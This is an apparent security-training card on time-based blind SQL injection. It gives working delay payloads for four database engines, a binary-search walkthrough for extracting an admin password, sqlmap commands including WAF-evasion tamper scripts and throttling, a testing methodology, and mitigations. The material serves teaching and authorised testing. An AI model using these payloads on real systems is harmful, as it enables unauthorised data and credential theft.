SQLi blind time-based
Theory
Why This Matters
Time-based blind SQL injection is the technique of last resort when no query output is reflected in the response and no error messages are visible — conditions that describe a large proportion of production applications with proper error handling. Despite producing no visible output, this variant remains fully exploitable: attackers can extract the entire database schema and credential data one bit at a time using conditional delay payloads. It was central to automated tools like sqlmap and has been identified in breach post-mortems where the initial exploitation left minimal log traces because the attacker never triggered application errors.
Core Concept
Blind SQL injection refers to injection where query results are not returned to the attacker in the application response. In the time-based variant, the attacker uses the database engine's ability to pause execution as an out-of-band oracle: if a conditional expression is true, the database delays its response by a measurable number of seconds; if false, it responds immediately. By framing database questions as true/false conditions and measuring wall-clock response time, an attacker extracts arbitrary data.
The core payload structure is a conditional expression wrapping a delay function:
- MySQL/MariaDB:
IF(condition, SLEEP(5), 0) - MSSQL:
IF condition WAITFOR DELAY '0:0:5' - PostgreSQL:
SELECT CASE WHEN condition THEN pg_sleep(5) ELSE pg_sleep(0) END - Oracle:
SELECT CASE WHEN condition THEN dbms_pipe.receive_message('x',5) ELSE NULL END FROM dual
The violated invariant is identical to classic SQLi: user input is interpolated into query structure. The only difference is the exploitation channel — timing instead of response content.
Character-by-character extraction works by combining SUBSTRING() (or SUBSTR()) with ASCII() or ORD() to isolate individual bytes of a target string, then using comparison operators to narrow down the character value. Binary search halves the search space per request: testing ASCII(SUBSTRING(password,1,1)) > 64 then > 96 locates the character in approximately 7 requests per byte.
Network jitter is the principal reliability concern. Response time measurements must account for baseline latency variance; common practice is to use delay values significantly above the observed baseline RTT (5–10 seconds for LAN targets; 15+ seconds for internet targets), and to repeat borderline measurements.
Technical Deep-Dive
-- MySQL: confirm time-based injection point
-- If the page takes ~5 seconds to respond, injection is confirmed:
-- id=1 AND SLEEP(5)--
-- MySQL: conditional delay (boolean oracle)
-- Extract first character of the admin password:
-- True condition → 5 second delay; false → immediate response
-- id=1 AND IF(ASCII(SUBSTRING((SELECT password FROM users
-- WHERE username='admin'),1,1))>64,SLEEP(5),0)--
-- Binary search: narrow to exact ASCII value
-- Round 1: >64 (is it above '@'?) → delayed → yes
-- Round 2: >96 (is it above '`'?) → delayed → yes
-- Round 3: >112 (is it above 'p'?) → immediate → no
-- Round 4: >104 (is it above 'h'?) → immediate → no
-- Round 5: >100 (is it above 'd'?) → delayed → yes
-- Round 6: >102 (is it above 'f'?) → immediate → no → char = chr(101) = 'e'
-- Continue for next character position
-- MSSQL equivalent:
-- id=1; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>64)
-- WAITFOR DELAY '0:0:5'--
-- PostgreSQL equivalent:
-- id=1 AND (SELECT CASE WHEN
-- (ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin')>64
-- THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL--
-- Stacked query variant (MSSQL / PostgreSQL where stacking is allowed):
-- id=1; WAITFOR DELAY '0:0:5'--
# sqlmap time-based extraction
sqlmap -u "https://target.example.com/page?id=1"
--technique=T # time-based blind only
--dbms=mysql # skip DBMS detection round-trips
--time-sec=8 # delay threshold (increase for slow networks)
--dbs # enumerate databases
# Extract specific table:
sqlmap -u "..." --technique=T --dbms=mysql
-D targetdb -T users -C username,password --dump
# Handling WAF / IDS — use tamper scripts:
sqlmap -u "..." --technique=T --tamper=space2comment,between
--time-sec=10 --level=3
Security Assessment Methodology
- Establish baseline response time — Send the unmodified request 5–10 times, record mean and standard deviation of response latency. This determines the delay threshold to use in payloads.
- Inject unconditional delay — Submit
AND SLEEP(10)--(or DBMS equivalent). A consistent 10-second response confirms code execution; immediate response means no injection or syntax error. - Confirm conditionality — Test a known-true condition (
AND IF(1=1,SLEEP(5),0)--) and a known-false condition (AND IF(1=2,SLEEP(5),0)--). Only the true condition should delay. - Fingerprint the DBMS — Each database has unique delay syntax. Test
SLEEP(),WAITFOR DELAY,pg_sleep()in sequence; the one that fires identifies the engine. - Automate extraction with sqlmap — Use
--technique=T --dbms=<dbms> --time-sec=<threshold>. For detection-sensitive engagements, add--delay=2to throttle requests and reduce alerting. - Verify findings manually — Confirm at least one extracted value (e.g., first character of a hash) manually with a hand-crafted binary-search payload before relying entirely on sqlmap output.
- Document response time evidence — Capture Burp Repeater screenshots or HTTP history exports showing the delayed responses as evidence for the report.
Defensive Countermeasure — Parameterised queries prevent time-based injection identically to other SQLi variants — there is no separate mitigation. However, additionally enforce query timeouts at the database connection level (e.g., MySQL
max_execution_time, MSSQLQUERY GOVERNOR COST LIMIT) so that long-running injected delays are terminated quickly and generate anomalous query duration alerts in the SIEM. This converts a silent exploitation channel into a detectable one. Database activity monitoring (DAM) tools can alert onSLEEP()/WAITFORfunction calls appearing in query logs.
Common Assessment Errors
- Using too short a delay threshold — A 1-second delay is indistinguishable from normal server load variance on many targets. Use at least 5 seconds, preferably 10 for internet-facing endpoints.
- Not establishing a latency baseline first — Testers inject without measuring baseline RTT, then misinterpret natural server slowness as a positive injection result (false positive) or dismiss a slow-network injection as negative (false negative).
- Testing only MySQL syntax — Submitting
SLEEP()against an MSSQL or PostgreSQL backend produces a syntax error, not a negative result. Always test DBMS-specific variants or use sqlmap's auto-detection. - Giving up on blind injection too quickly — Because there is no visible output, testers sometimes conclude that an endpoint is not injectable when it actually is. Always test the unconditional delay (
SLEEP(10)) as the definitive proof-of-concept. - Ignoring stacked query opportunities — In MSSQL and PostgreSQL, stacked queries (
; WAITFOR DELAY ...) allow injection even in INSERT/UPDATE contexts where WHERE-clause injection is not possible. - Reporting without quantifying extraction rate — The report should state how long full database extraction would take at the measured request rate to convey business impact (e.g., "full user table extractable in approximately 4 hours of automated tooling").
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Develops understanding of blind injection as an exploitation channel distinct from error-based and UNION-based variants |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers DBMS-specific delay functions and cross-platform syntax differences |
| S0001 | Skill in conducting vulnerability scans | Trains sqlmap --technique=T usage and baseline latency measurement methodology |
| S0044 | Skill in mimicking threat behaviors | Builds binary-search payload construction skill for character-by-character extraction |
| T0028 | Test system security controls | Covers systematic blind injection testing including false-positive/false-negative controls |
| T0591 | Perform penetration testing | Provides complete time-based blind injection methodology from confirmation through automated extraction |
Further Reading
- Blind SQL Injection — Advanced Techniques — PortSwigger Web Security Academy
- sqlmap Documentation: Techniques and Time-Based Options — sqlmap.org
- SQL Injection Attacks and Defense, 2nd Edition — Clarke-Salt, Syngress
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.